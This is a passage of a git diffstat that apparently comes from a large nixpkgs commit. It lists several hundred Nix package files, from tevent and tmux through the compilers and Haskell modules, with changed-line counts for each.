 pkgs/by-name/te/tevent/package.nix            |  17 +-
 pkgs/by-name/te/texstudio/package.nix         |  27 +-
 pkgs/by-name/te/textadept/package.nix         |  17 +-
 pkgs/by-name/te/textlint/package.nix          |  19 +-
 pkgs/by-name/th/thc-hydra/package.nix         |   3 +-
 pkgs/by-name/th/the-powder-toy/package.nix    |   3 +-
 pkgs/by-name/th/thefuck/package.nix           |  15 +-
 pkgs/by-name/th/thelounge/package.nix         |   3 +-
 pkgs/by-name/th/thinkfan/package.nix          |   3 +-
 pkgs/by-name/th/thonny/package.nix            |   3 +-
 pkgs/by-name/th/thrift/package.nix            |  91 +-
 pkgs/by-name/ti/tig/package.nix               |   3 +-
 pkgs/by-name/ti/tigerbeetle/package.nix       |   3 +-
 pkgs/by-name/ti/tigervnc/package.nix          |  90 +-
 pkgs/by-name/ti/tiledb/package.nix            |   6 +-
 pkgs/by-name/ti/timeloop/package.nix          |  58 +-
 pkgs/by-name/ti/timidity/package.nix          |  91 +-
 pkgs/by-name/ti/tiny-cuda-nn/package.nix      |  89 +-
 pkgs/by-name/ti/tinycc/package.nix            |  29 +-
 pkgs/by-name/ti/tinycdb/package.nix           |  41 +-
 pkgs/by-name/ti/tinyfugue/package.nix         |   3 +-
 pkgs/by-name/ti/tinygo/package.nix            |   6 +-
 pkgs/by-name/ti/tinyscheme/package.nix        |  31 +-
 pkgs/by-name/ti/tinysparql/package.nix        | 103 +-
 pkgs/by-name/ti/tiscamera/package.nix         |  82 +-
 pkgs/by-name/tm/tmux/package.nix              |  49 +-
 pkgs/by-name/to/tonelib-gfx/package.nix       |   3 +-
 pkgs/by-name/to/tonelib-jam/package.nix       |   3 +-
 pkgs/by-name/to/tonelib-metal/package.nix     |   3 +-
 .../to/tonelib-noisereducer/package.nix       |   3 +-
 pkgs/by-name/to/tonelib-zoom/package.nix      |   3 +-
 pkgs/by-name/to/topiary/package.nix           |  19 +-
 pkgs/by-name/to/touchegg/package.nix          |  35 +-
 pkgs/by-name/to/toxic/package.nix             |  31 +-
 pkgs/by-name/to/toxvpn/package.nix            |  21 +-
 pkgs/by-name/to/toybox/package.nix            |  21 +-
 pkgs/by-name/tp/tpm2-pkcs11/package.nix       |  21 +-
 pkgs/by-name/tr/tracexec/package.nix          |  17 +-
 pkgs/by-name/tr/trackma/package.nix           |  19 +-
 pkgs/by-name/tr/tractor/package.nix           |  46 +-
 pkgs/by-name/tr/tracy/package.nix             |  94 +-
 pkgs/by-name/tr/trafficserver/package.nix     |  97 +-
 pkgs/by-name/tr/transmission_3/package.nix    |  60 +-
 pkgs/by-name/tr/trealla/package.nix           |  13 +-
 pkgs/by-name/tr/tribler/package.nix           |  95 +-
 pkgs/by-name/tr/trickster/package.nix         |  23 +-
 pkgs/by-name/tr/trigger-control/package.nix   |  19 +-
 pkgs/by-name/tr/triton-llvm/package.nix       | 175 ++--
 pkgs/by-name/tr/trlib/package.nix             |  13 +-
 pkgs/by-name/tr/trunk-recorder/package.nix    |  27 +-
 pkgs/by-name/ts/tsid/package.nix              |  34 +-
 pkgs/by-name/ts/tsukimi/package.nix           |  33 +-
 pkgs/by-name/tu/tuba/package.nix              |  51 +-
 pkgs/by-name/tu/tuifimanager/package.nix      |  25 +-
 pkgs/by-name/tu/tuntox/package.nix            |  27 +-
 pkgs/by-name/tu/turbo-unwrapped/package.nix   |  19 +-
 pkgs/by-name/tu/turtle/package.nix            |  29 +-
 pkgs/by-name/ty/typst/typst-packages.nix      |   3 +-
 pkgs/by-name/tz/tzdata/package.nix            |  59 +-
 pkgs/by-name/uc/ucc/package.nix               |  20 +-
 pkgs/by-name/uc/uclibc-ng/package.nix         |  66 +-
 pkgs/by-name/uc/ucx/package.nix               |  65 +-
 pkgs/by-name/ue/ueberzugpp/package.nix        |  74 +-
 pkgs/by-name/ue/ueviewer/package.nix          |  19 +-
 pkgs/by-name/uf/ufoai/package.nix             |   3 +-
 pkgs/by-name/uf/uftrace/package.nix           |  17 +-
 pkgs/by-name/ug/uget/package.nix              |  29 +-
 pkgs/by-name/uh/uhd/package.nix               | 112 ++-
 pkgs/by-name/uh/uhttpmock/package.nix         |  25 +-
 pkgs/by-name/uh/uhttpmock_1_0/package.nix     |  25 +-
 pkgs/by-name/uh/uhub/package.nix              |   3 +-
 pkgs/by-name/ui/uiua/package.nix              |  18 +-
 pkgs/by-name/ul/ultrastardx/package.nix       |   3 +-
 pkgs/by-name/um/umockdev/package.nix          |  25 +-
 pkgs/by-name/um/umpire/package.nix            |  13 +-
 pkgs/by-name/un/unbound/package.nix           | 149 ++-
 pkgs/by-name/un/uni-vga/package.nix           |  73 +-
 pkgs/by-name/un/unicorn/package.nix           |  15 +-
 pkgs/by-name/un/unimap/package.nix            |  15 +-
 pkgs/by-name/un/unison-ucm/package.nix        |   3 +-
 pkgs/by-name/un/unison/package.nix            |  20 +-
 pkgs/by-name/un/unit/package.nix              |  44 +-
 pkgs/by-name/un/units/package.nix             |  13 +-
 pkgs/by-name/un/universal-ctags/package.nix   |  17 +-
 pkgs/by-name/un/unixbench/package.nix         |  51 +-
 pkgs/by-name/un/unoconv/package.nix           |  17 +-
 pkgs/by-name/un/unp/package.nix               |   3 +-
 pkgs/by-name/un/unzip/package.nix             | 130 ++-
 pkgs/by-name/up/upower/package.nix            | 122 ++-
 pkgs/by-name/uq/uqm/package.nix               |  31 +-
 pkgs/by-name/ur/urh/package.nix               |  21 +-
 pkgs/by-name/ur/uriparser/package.nix         |   3 +-
 pkgs/by-name/us/usbimager/package.nix         |   9 +-
 pkgs/by-name/us/usbutils/package.nix          |  38 +-
 pkgs/by-name/us/ustreamer/package.nix         |  62 +-
 pkgs/by-name/ut/util-linux/package.nix        | 200 ++--
 pkgs/by-name/uu/uutils-coreutils/package.nix  |  17 +-
 pkgs/by-name/uw/uwimap/package.nix            |  38 +-
 pkgs/by-name/uw/uwsgi/package.nix             |  30 +-
 pkgs/by-name/uw/uwsm/package.nix              |   3 +-
 pkgs/by-name/uw/uwufetch/package.nix          |  33 +-
 .../va/vala-language-server/package.nix       |  21 +-
 pkgs/by-name/va/vale-ls/package.nix           |  19 +-
 pkgs/by-name/va/vale/styles.nix               |   3 +-
 pkgs/by-name/va/valkey/package.nix            |  34 +-
 pkgs/by-name/va/vamp-plugin-sdk/package.nix   |   3 +-
 pkgs/by-name/va/vanillatd/package.nix         |  25 +-
 pkgs/by-name/va/vapoursynth-eedi3/package.nix |  17 +-
 .../by-name/va/vapoursynth-znedi3/package.nix |  13 +-
 pkgs/by-name/va/vapoursynth/editor.nix        |  37 +-
 pkgs/by-name/va/variety/package.nix           |   3 +-
 pkgs/by-name/va/vault/package.nix             |  27 +-
 pkgs/by-name/va/vaultwarden/package.nix       |  15 +-
 pkgs/by-name/vc/vcpkg-tool/package.nix        |   3 +-
 pkgs/by-name/vc/vcsi/package.nix              |  13 +-
 pkgs/by-name/ve/vector/package.nix            |  48 +-
 pkgs/by-name/ve/vectorcode/package.nix        |  17 +-
 pkgs/by-name/ve/vectorscan/package.nix        |  64 +-
 pkgs/by-name/ve/vengi-tools/package.nix       |  39 +-
 pkgs/by-name/ve/ventoy/package.nix            | 175 ++--
 pkgs/by-name/ve/verilator/package.nix         |  42 +-
 pkgs/by-name/ve/vesktop/package.nix           |  91 +-
 pkgs/by-name/vg/vgmstream/package.nix         |  44 +-
 pkgs/by-name/vi/video2x/package.nix           |  23 +-
 pkgs/by-name/vi/viking/package.nix            |  34 +-
 pkgs/by-name/vi/vips/package.nix              |  43 +-
 pkgs/by-name/vi/virglrenderer/package.nix     |  44 +-
 pkgs/by-name/vi/virt-v2v/package.nix          |  89 +-
 pkgs/by-name/vi/virt-viewer/package.nix       |  47 +-
 pkgs/by-name/vi/vis/package.nix               |  21 +-
 pkgs/by-name/vi/visp/package.nix              |  49 +-
 pkgs/by-name/vi/visual-hexdiff/package.nix    |  21 +-
 pkgs/by-name/vi/vivaldi/package.nix           | 219 +++--
 pkgs/by-name/vl/vlang/package.nix             |  22 +-
 pkgs/by-name/vl/vlc/package.nix               | 286 +++---
 .../by-name/vm/vmware-workstation/package.nix |  25 +-
 pkgs/by-name/vo/voicevox-engine/package.nix   |  41 +-
 pkgs/by-name/vo/voicevox/package.nix          |  23 +-
 pkgs/by-name/vo/volctl/package.nix            |  23 +-
 pkgs/by-name/vo/volk_2/package.nix            |  15 +-
 pkgs/by-name/vo/voms/package.nix              |  19 +-
 pkgs/by-name/vp/vpnc-scripts/package.nix      |  53 +-
 pkgs/by-name/vp/vpnc/package.nix              |  32 +-
 pkgs/by-name/vp/vpp/package.nix               |  63 +-
 pkgs/by-name/vs/vscode-js-debug/package.nix   |   3 +-
 pkgs/by-name/vt/vte/package.nix               |  55 +-
 pkgs/by-name/vu/vulkan-loader/package.nix     |  38 +-
 pkgs/by-name/vu/vulkan-tools/package.nix      |  70 +-
 .../vu/vulkan-validation-layers/package.nix   |  35 +-
 pkgs/by-name/vu/vulnix/package.nix            |  25 +-
 pkgs/by-name/vu/vunnel/package.nix            |  17 +-
 pkgs/by-name/vv/vvvvvv/package.nix            |  18 +-
 pkgs/by-name/w3/w3m/package.nix               |  38 +-
 pkgs/by-name/wa/waffle/package.nix            |  62 +-
 .../wa/waifu2x-converter-cpp/package.nix      |  17 +-
 pkgs/by-name/wa/wakeonlan/package.nix         |  18 +-
 pkgs/by-name/wa/wapiti/package.nix            |  17 +-
 pkgs/by-name/wa/warp-terminal/package.nix     |  26 +-
 pkgs/by-name/wa/warp/package.nix              |  23 +-
 pkgs/by-name/wa/warpd/package.nix             |   9 +-
 pkgs/by-name/wa/warzone2100/package.nix       |  44 +-
 pkgs/by-name/wa/wasm-tools/package.nix        |   7 +-
 pkgs/by-name/wa/wavebox/package.nix           | 123 ++-
 pkgs/by-name/wa/waybar/package.nix            |  88 +-
 .../wa/wayland-proxy-virtwl/package.nix       |  23 +-
 pkgs/by-name/wb/wbg/package.nix               |  19 +-
 .../by-name/we/webp-pixbuf-loader/package.nix |  29 +-
 pkgs/by-name/we/websocat/package.nix          |  11 +-
 pkgs/by-name/we/werf/package.nix              |  79 +-
 pkgs/by-name/we/weston/package.nix            | 106 +--
 pkgs/by-name/we/weylus/package.nix            |  72 +-
 pkgs/by-name/we/wezterm/package.nix           |  61 +-
 pkgs/by-name/wf/wfview/package.nix            |  31 +-
 pkgs/by-name/wg/wget/package.nix              | 102 +-
 pkgs/by-name/wg/wget2/package.nix             |  33 +-
 pkgs/by-name/wg/wgpu-native/examples.nix      |  19 +-
 pkgs/by-name/wg/wgpu-native/package.nix       |   3 +-
 .../wh/where-is-my-sddm-theme/package.nix     |  35 +-
 pkgs/by-name/wh/whisper-cpp/package.nix       |  92 +-
 pkgs/by-name/wi/widelands/package.nix         |   3 +-
 pkgs/by-name/wi/wifite2/package.nix           |   3 +-
 pkgs/by-name/wi/wiiuse/package.nix            |   3 +-
 pkgs/by-name/wi/wiliwili/package.nix          |  50 +-
 pkgs/by-name/wi/windmill/package.nix          |  65 +-
 pkgs/by-name/wi/wireguard-tools/package.nix   |  59 +-
 pkgs/by-name/wi/wivrn/package.nix             | 149 ++-
 pkgs/by-name/wk/wkhtmltopdf/package.nix       |   6 +-
 pkgs/by-name/wl/wl-clipboard-rs/package.nix   |  41 +-
 pkgs/by-name/wl/wl-mirror/package.nix         |  23 +-
 pkgs/by-name/wl/wldash/package.nix            |  26 +-
 pkgs/by-name/wl/wlogout/package.nix           |  19 +-
 pkgs/by-name/wo/wob/package.nix               |   3 +-
 pkgs/by-name/wo/woff2/package.nix             |   3 +-
 pkgs/by-name/wo/wolfssl/package.nix           |  65 +-
 pkgs/by-name/wo/wordgrinder/package.nix       |  32 +-
 pkgs/by-name/wr/wrangler/package.nix          |  38 +-
 pkgs/by-name/wr/wrangler_1/package.nix        |  13 +-
 pkgs/by-name/wx/wxGTK31/package.nix           |  80 +-
 pkgs/by-name/wx/wxGTK32/package.nix           | 108 ++-
 pkgs/by-name/wx/wxformbuilder/package.nix     |  21 +-
 pkgs/by-name/wx/wxhexeditor/package.nix       |  19 +-
 pkgs/by-name/x2/x265/package.nix              | 134 ++-
 pkgs/by-name/x3/x3270/package.nix             |  45 +-
 pkgs/by-name/xa/xar/package.nix               |  23 +-
 pkgs/by-name/xa/xautoclick/package.nix        |  31 +-
 pkgs/by-name/xa/xavs/package.nix              |  39 +-
 pkgs/by-name/xc/xcbuild/package.nix           |  41 +-
 pkgs/by-name/xc/xcodegen/package.nix          |  14 +-
 pkgs/by-name/xc/xcpc/package.nix              |  19 +-
 pkgs/by-name/xd/xdg-user-dirs/package.nix     |   3 +-
 pkgs/by-name/xe/xed/package.nix               |   3 +-
 pkgs/by-name/xe/xemu/package.nix              |  44 +-
 pkgs/by-name/xf/xfitter/package.nix           |  37 +-
 pkgs/by-name/xg/xgboost/package.nix           |  49 +-
 pkgs/by-name/xi/xiu/package.nix               |  13 +-
 pkgs/by-name/xl/xloadimage/package.nix        |  27 +-
 pkgs/by-name/xl/xlockmore/package.nix         |   3 +-
 pkgs/by-name/xn/xnee/package.nix              |  25 +-
 pkgs/by-name/xp/xpar/package.nix              |  16 +-
 pkgs/by-name/xp/xpra/package.nix              | 106 +--
 pkgs/by-name/xp/xprompt/package.nix           |  21 +-
 pkgs/by-name/xq/xquartz/package.nix           |  27 +-
 pkgs/by-name/xr/xreader/package.nix           |   3 +-
 pkgs/by-name/xr/xrootd/package.nix            | 108 ++-
 pkgs/by-name/xs/xscreensaver/package.nix      |  48 +-
 pkgs/by-name/xs/xsimd/package.nix             |  31 +-
 pkgs/by-name/xs/xsnow/package.nix             |  25 +-
 pkgs/by-name/xt/xterm/package.nix             |  20 +-
 pkgs/by-name/xv/xvidcore/package.nix          |  17 +-
 pkgs/by-name/xw/xwayland-run/package.nix      |  13 +-
 pkgs/by-name/xx/xxkb/package.nix              |  23 +-
 pkgs/by-name/xy/xyce/package.nix              | 100 +-
 pkgs/by-name/ya/yabai/package.nix             |  11 +-
 pkgs/by-name/ya/yambar/package.nix            |  45 +-
 pkgs/by-name/ya/yandex-cloud/package.nix      |  39 +-
 pkgs/by-name/ya/yara-x/package.nix            |  19 +-
 pkgs/by-name/ya/yara/package.nix              |  13 +-
 pkgs/by-name/ya/yarn-berry/package.nix        |   3 +-
 pkgs/by-name/ya/yay/package.nix               |  17 +-
 pkgs/by-name/yc/ycmd/package.nix              |  74 +-
 pkgs/by-name/yd/yder/package.nix              |   3 +-
 pkgs/by-name/ye/yersinia/package.nix          |  16 +-
 pkgs/by-name/yg/ygot/package.nix              |  29 +-
 pkgs/by-name/yo/yoda/package.nix              |  15 +-
 pkgs/by-name/yt/yt-dlp/package.nix            |  23 +-
 pkgs/by-name/yt/ytcc/package.nix              |  15 +-
 pkgs/by-name/yt/ytmdesktop/package.nix        |  45 +-
 pkgs/by-name/yu/yubico-piv-tool/package.nix   |   3 +-
 pkgs/by-name/yu/yubihsm-shell/package.nix     |  25 +-
 pkgs/by-name/z3/z3/package.nix                |  88 +-
 pkgs/by-name/z8/z88dk/package.nix             |  79 +-
 pkgs/by-name/za/zap-chip/package.nix          |  41 +-
 pkgs/by-name/zc/zchunk/package.nix            |   3 +-
 pkgs/by-name/ze/zed-editor/package.nix        | 233 +++--
 pkgs/by-name/ze/zeek/package.nix              |  62 +-
 pkgs/by-name/ze/zeitgeist/package.nix         |   3 +-
 pkgs/by-name/ze/zellij/package.nix            |  21 +-
 pkgs/by-name/ze/zenn-cli/package.nix          |  15 +-
 pkgs/by-name/ze/zepp-simulator/package.nix    |  55 +-
 pkgs/by-name/ze/zeroad-unwrapped/package.nix  |   3 +-
 pkgs/by-name/ze/zerotierone/package.nix       |  17 +-
 pkgs/by-name/zf/zfp/package.nix               |  17 +-
 pkgs/by-name/zi/zile/package.nix              |  17 +-
 pkgs/by-name/zi/zip/package.nix               |   6 +-
 pkgs/by-name/zi/zita-resampler/package.nix    |  19 +-
 pkgs/by-name/zl/zlib-ng/package.nix           |   3 +-
 pkgs/by-name/zm/zmusic/package.nix            |   3 +-
 pkgs/by-name/zo/zoneminder/package.nix        |  75 +-
 pkgs/by-name/zo/zoom-us/package.nix           |  39 +-
 pkgs/by-name/zs/zsh/package.nix               | 115 ++-
 pkgs/by-name/zu/zulip-term/package.nix        |  17 +-
 pkgs/by-name/zx/zxtune/package.nix            |  28 +-
 pkgs/data/documentation/zeal/default.nix      |   3 +-
 pkgs/data/fonts/open-relay/default.nix        |   3 +-
 pkgs/data/fonts/openmoji/default.nix          |   3 +-
 .../data/icons/papirus-icon-theme/default.nix |  15 +-
 .../stylesheets/xslt/docbook-xsl/default.nix  |  53 +-
 pkgs/data/themes/adwaita-qt/default.nix       |  25 +-
 pkgs/data/themes/elegant-sddm/default.nix     |  23 +-
 pkgs/data/themes/plata/default.nix            |  29 +-
 pkgs/data/themes/qtcurve/default.nix          |   3 +-
 .../deepin/apps/deepin-music/default.nix      |  39 +-
 .../core/dde-gsettings-schemas/default.nix    |   3 +-
 .../deepin/core/dde-launchpad/default.nix     |  25 +-
 .../deepin/core/deepin-kwin/default.nix       |  71 +-
 .../library/dtk6declarative/default.nix       |  17 +-
 .../deepin/library/dtk6log/default.nix        |   3 +-
 .../deepin/library/dtk6widget/default.nix     |  19 +-
 .../deepin/library/dtklog/default.nix         |   3 +-
 .../deepin/library/gio-qt/default.nix         |  22 +-
 .../enlightenment/enlightenment/default.nix   |  38 +-
 .../gnome-2/desktop/gtksourceview/default.nix |  32 +-
 .../gnome-2/platform/GConf/default.nix        |  15 +-
 .../extensions/systemd-manager/default.nix    |  35 +-
 .../gnome/gdk-pixbuf-cache-builder.nix        |   3 +-
 pkgs/desktops/gnome/installer.nix             |   3 +-
 .../nixos/gsettings-overrides/default.nix     |  17 +-
 pkgs/desktops/gnome/update.nix                |   3 +-
 .../lomiri-calendar-app/default.nix           |  23 +-
 .../lomiri-camera-app/default.nix             |  49 +-
 .../lomiri-mediaplayer-app/default.nix        |  33 +-
 .../applications/lomiri-music-app/default.nix |  39 +-
 .../lomiri-system-settings/wrapper.nix        |   3 +-
 .../lomiri/applications/lomiri/default.nix    |  51 +-
 .../applications/morph-browser/default.nix    |  27 +-
 .../lomiri/development/geonames/default.nix   |  82 +-
 .../development/lomiri-app-launch/default.nix |  42 +-
 .../development/trust-store/default.nix       |  25 +-
 .../qml/lomiri-notifications/default.nix      |  23 +-
 .../lomiri-settings-components/default.nix    |  19 +-
 .../lomiri/services/biometryd/default.nix     |  29 +-
 .../lomiri-download-manager/default.nix       |  26 +-
 .../lomiri-history-service/default.nix        |  77 +-
 .../lomiri-telephony-service/default.nix      |  33 +-
 .../services/lomiri-thumbnailer/default.nix   |  49 +-
 .../lomiri-url-dispatcher/default.nix         |  29 +-
 .../lomiri/services/mediascanner2/default.nix |  45 +-
 pkgs/desktops/lxde/core/lxpanel/default.nix   |   3 +-
 pkgs/desktops/lxqt/libfm-qt/default.nix       |   3 +-
 .../lxqt/xdg-desktop-portal-lxqt/default.nix  |   3 +-
 pkgs/desktops/mate/atril/default.nix          |  33 +-
 pkgs/desktops/mate/engrampa/default.nix       |  34 +-
 pkgs/desktops/mate/libmatemixer/default.nix   |  21 +-
 .../mate/mate-settings-daemon/default.nix     |   3 +-
 .../apps/elementary-music/default.nix         |  29 +-
 .../apps/elementary-photos/default.nix        |  45 +-
 .../pantheon/apps/switchboard/wrapper.nix     |   3 +-
 .../elementary-gsettings-schemas/default.nix  |   3 +-
 .../applications-menu/default.nix             |  23 +-
 .../pantheon/desktop/wingpanel/wrapper.nix    |   3 +-
 .../plasma-5/breeze-plymouth/default.nix      |  34 +-
 .../xfce/applications/mousepad/default.nix    |  23 +-
 .../desktops/xfce/core/libxfce4ui/default.nix |  15 +-
 .../xfce/core/libxfce4util/default.nix        |  15 +-
 .../xfce/core/libxfce4windowing/default.nix   |  13 +-
 pkgs/desktops/xfce/core/thunar/default.nix    |  15 +-
 .../xfce/core/xfce4-panel/default.nix         |  15 +-
 .../xfce/core/xfce4-settings/default.nix      |  50 +-
 pkgs/desktops/xfce/core/xfconf/default.nix    |  15 +-
 pkgs/desktops/xfce/mkXfceDerivation.nix       |   3 +-
 .../xfce4-dockbarx-plugin/default.nix         |   3 +-
 .../xfce4-sensors-plugin/default.nix          |  22 +-
 .../xfce/thunar-plugins/vcs/default.nix       |  25 +-
 .../ada-modules/gnatcoll/bindings.nix         |   3 +-
 pkgs/development/ada-modules/gnatcoll/db.nix  |  28 +-
 .../ada-modules/gnatprove/default.nix         |  60 +-
 pkgs/development/ada-modules/gpr2/default.nix |  19 +-
 .../development/ada-modules/gprbuild/boot.nix |  19 +-
 .../ada-modules/gprbuild/default.nix          |  21 +-
 .../beam-modules/build-erlang-mk.nix          |   9 +-
 .../development/beam-modules/build-rebar3.nix |  12 +-
 pkgs/development/beam-modules/mix-release.nix | 138 ++-
 .../beam-modules/rebar3-release.nix           |   3 +-
 .../compilers/binaryen/default.nix            |  43 +-
 pkgs/development/compilers/c0/default.nix     |  30 +-
 .../compilers/chicken/4/chicken.nix           |  34 +-
 .../compilers/chicken/4/eggDerivation.nix     |   3 +-
 .../compilers/chicken/5/chicken.nix           |  46 +-
 .../compilers/chicken/5/eggDerivation.nix     |   3 +-
 .../compilers/corretto/mk-corretto.nix        |  37 +-
 .../development/compilers/crystal/default.nix |  92 +-
 pkgs/development/compilers/dart/default.nix   |  30 +-
 pkgs/development/compilers/djgpp/default.nix  |  33 +-
 .../compilers/dotnet/build-dotnet.nix         |  69 +-
 .../compilers/dotnet/combine-packages.nix     |  21 +-
 pkgs/development/compilers/dotnet/default.nix |  13 +-
 .../development/compilers/dotnet/packages.nix |  62 +-
 pkgs/development/compilers/dotnet/sigtool.nix |  12 +-
 pkgs/development/compilers/dotnet/stage0.nix  |  76 +-
 pkgs/development/compilers/dotnet/vmr.nix     | 495 +++++-----
 pkgs/development/compilers/dotnet/wrapper.nix |  45 +-
 pkgs/development/compilers/ecl/16.1.2.nix     |  71 +-
 pkgs/development/compilers/ecl/default.nix    |  48 +-
 .../development/compilers/elm/lib/default.nix |  18 +-
 .../compilers/elm/packages/node/default.nix   |  42 +-
 .../factor-lang/mk-factor-application.nix     |   9 +-
 .../compilers/factor-lang/wrapper.nix         | 101 +-
 pkgs/development/compilers/fbc/default.nix    |  25 +-
 .../build-flutter-application.nix             |  11 +-
 .../compilers/flutter/engine/default.nix      |  23 +-
 .../compilers/flutter/engine/package.nix      | 134 ++-
 .../compilers/flutter/flutter-tools.nix       |  17 +-
 .../development/compilers/flutter/flutter.nix |  41 +-
 .../development/compilers/flutter/wrapper.nix | 109 ++-
 pkgs/development/compilers/fpc/default.nix    |  21 +-
 pkgs/development/compilers/fpc/lazarus.nix    |  40 +-
 pkgs/development/compilers/fpc/libqtpas.nix   |  13 +-
 pkgs/development/compilers/gambit/build.nix   |  73 +-
 .../compilers/gcc/common/builder.nix          | 213 ++---
 .../compilers/gcc/common/dependencies.nix     |  50 +-
 .../compilers/gcc/common/strip-attributes.nix |  75 +-
 pkgs/development/compilers/gcc/default.nix    | 148 +--
 pkgs/development/compilers/gerbil/build.nix   |  23 +-
 .../compilers/ghc/8.10.7-binary.nix           |  98 +-
 pkgs/development/compilers/ghc/8.10.7.nix     | 608 ++++++------
 .../compilers/ghc/8.6.5-binary.nix            |  52 +-
 .../compilers/ghc/9.0.2-binary.nix            | 110 ++-
 .../compilers/ghc/9.2.4-binary.nix            |  77 +-
 .../compilers/ghc/9.6.3-binary.nix            |  54 +-
 .../compilers/ghc/9.8.4-binary.nix            |  54 +-
 .../compilers/ghc/common-hadrian.nix          | 488 +++++-----
 .../ghc/common-make-native-bignum.nix         | 692 +++++++-------
 .../compilers/ghcjs/8.10/default.nix          |  27 +-
 .../compilers/gnat-bootstrap/default.nix      | 316 +++---
 pkgs/development/compilers/go/1.23.nix        |  57 +-
 pkgs/development/compilers/go/1.24.nix        |  57 +-
 .../community-edition/buildGraalvm.nix        |  53 +-
 .../community-edition/buildGraalvmProduct.nix |  15 +-
 pkgs/development/compilers/halide/default.nix |  85 +-
 pkgs/development/compilers/haxe/default.nix   |  15 +-
 .../compilers/idris2/build-idris.nix          |   6 +-
 pkgs/development/compilers/idris2/idris2.nix  |   3 +-
 pkgs/development/compilers/idris2/pack.nix    |   3 +-
 .../compilers/jetbrains-jdk/17.nix            |   3 +-
 .../compilers/jetbrains-jdk/default.nix       |   3 +-
 .../compilers/jetbrains-jdk/jcef.nix          | 133 ++-
 .../compilers/julia/generic-bin.nix           |  98 +-
 pkgs/development/compilers/julia/generic.nix  |  55 +-
 .../compilers/llvm/common/bolt/default.nix    |   3 +-
 .../compilers/llvm/common/clang/default.nix   | 316 +++---
 .../llvm/common/compiler-rt/default.nix       | 166 ++--
 .../compilers/llvm/common/default.nix         | 125 ++-
 .../compilers/llvm/common/libc/default.nix    |  40 +-
 .../compilers/llvm/common/libclc/default.nix  |  40 +-
 .../compilers/llvm/common/libcxx/default.nix  | 168 ++--
 .../llvm/common/libunwind/default.nix         |  32 +-
 .../compilers/llvm/common/lld/default.nix     |  35 +-
 .../compilers/llvm/common/lldb/default.nix    | 166 ++--
 .../compilers/llvm/common/llvm/default.nix    | 114 +--
 .../compilers/llvm/common/mlir/default.nix    |  49 +-
 .../compilers/llvm/common/openmp/default.nix  |  71 +-
 .../compilers/llvm/common/tblgen.nix          |  34 +-
 pkgs/development/compilers/llvm/default.nix   |   3 +-
 pkgs/development/compilers/mlton/20130715.nix |  94 +-
 pkgs/development/compilers/mono/generic.nix   |  19 +-
 .../development/compilers/obliv-c/default.nix |  15 +-
 pkgs/development/compilers/ocaml/4.00.1.nix   |  26 +-
 pkgs/development/compilers/open-watcom/v2.nix |  97 +-
 .../development/compilers/openjdk/generic.nix | 857 ++++++++---------
 pkgs/development/compilers/osl/default.nix    |  31 +-
 pkgs/development/compilers/p4c/default.nix    |  31 +-
 pkgs/development/compilers/polyml/5.6.nix     |  21 +-
 pkgs/development/compilers/polyml/5.7.nix     |  21 +-
 pkgs/development/compilers/polyml/default.nix |  21 +-
 .../purescript/purescript/default.nix         |  21 +-
 pkgs/development/compilers/rust/binary.nix    |  69 +-
 pkgs/development/compilers/rust/rustc.nix     | 142 +--
 pkgs/development/compilers/sbcl/default.nix   |  79 +-
 .../development/compilers/shaderc/default.nix |  17 +-
 .../compilers/swift/compiler/default.nix      | 417 ++++----
 .../compilers/swift/libdispatch/default.nix   |  13 +-
 .../compilers/swift/sourcekit-lsp/default.nix |  36 +-
 .../compilers/swift/swift-driver/default.nix  |  20 +-
 .../compilers/swift/swift-format/default.nix  |  20 +-
 .../compilers/swift/swiftpm/default.nix       | 125 ++-
 .../compilers/swift/swiftpm2nix/support.nix   |  39 +-
 .../compilers/swift/xctest/default.nix        |   3 +-
 .../compilers/temurin-bin/jdk-linux-base.nix  |  20 +-
 pkgs/development/compilers/vala/default.nix   |  38 +-
 pkgs/development/compilers/yosys/default.nix  |  33 +-
 pkgs/development/compilers/zig/default.nix    |   3 +-
 pkgs/development/compilers/zig/generic.nix    |  53 +-
 pkgs/development/compilers/zig/hook.nix       |  11 +-
 pkgs/development/compilers/zulu/common.nix    | 142 ++-
 .../coq-modules/QuickChick/default.nix        |  13 +-
 pkgs/development/coq-modules/VST/default.nix  |  21 +-
 .../coq-modules/hydra-battles/default.nix     |   3 +-
 .../coq-modules/mathcomp/default.nix          |  29 +-
 .../coq-modules/metacoq/default.nix           |   6 +-
 .../coq-modules/metarocq/default.nix          |   3 +-
 .../coq-modules/simple-io/default.nix         |  15 +-
 .../coq-modules/smtcoq/default.nix            |  23 +-
 .../vscoq-language-server/default.nix         |  45 +-
 .../cuda-modules/_cuda/fixups/cuda_cudart.nix |  12 +-
 .../cuda-modules/_cuda/fixups/cuda_nvcc.nix   |   8 +-
 .../_cuda/fixups/nsight_compute.nix           |  34 +-
 .../_cuda/fixups/nsight_systems.nix           |  24 +-
 .../cuda-library-samples/generic.nix          |  34 +-
 .../cuda-modules/cuda-samples/generic.nix     |  17 +-
 .../cuda-modules/cudatoolkit/default.nix      | 351 ++++---
 .../generic-builders/manifest.nix             |  35 +-
 .../packages/cudnn-frontend/package.nix       |  17 +-
 .../cuda-modules/packages/nccl-tests.nix      |  43 +-
 .../cuda-modules/packages/nccl.nix            |  63 +-
 .../cuda-modules/packages/saxpy/package.nix   |  13 +-
 .../em-modules/generic/default.nix            |  29 +-
 .../embedded/arduino/arduino-core/default.nix |   3 +-
 pkgs/development/embedded/platformio/core.nix | 174 ++--
 .../gnuradio-modules/bladeRF/default.nix      |  46 +-
 .../gnuradio-modules/fosphor/default.nix      |  64 +-
 .../gnuradio-modules/lora_sdr/default.nix     |  21 +-
 .../gnuradio-modules/osmosdr/default.nix      |  72 +-
 .../haskell-modules/configuration-common.nix  | 274 +++---
 .../haskell-modules/configuration-darwin.nix  | 104 +-
 .../configuration-ghc-9.12.x.nix              |   8 +-
 .../configuration-ghc-9.4.x.nix               |   3 +-
 .../haskell-modules/configuration-nix.nix     | 375 ++++----
 .../haskell-modules/generic-builder.nix       | 532 ++++++-----
 .../haskell-modules/hackage-packages.nix      |   9 +-
 .../haskell-modules/lib/compose.nix           |  48 +-
 .../haskell-modules/make-package-set.nix      |  21 +-
 .../haskell-modules/with-packages-wrapper.nix | 185 ++--
 .../idris-modules/build-idris-package.nix     |   3 +-
 .../development/interpreters/acl2/default.nix | 114 ++-
 .../interpreters/bqn/cbqn/default.nix         | 127 ++-
 .../interpreters/clisp/default.nix            |  81 +-
 .../interpreters/dzaima-apl/default.nix       |  68 +-
 .../interpreters/erlang/generic-builder.nix   |  67 +-
 .../interpreters/gnudatalanguage/default.nix  |  69 +-
 pkgs/development/interpreters/guile/1.8.nix   |  37 +-
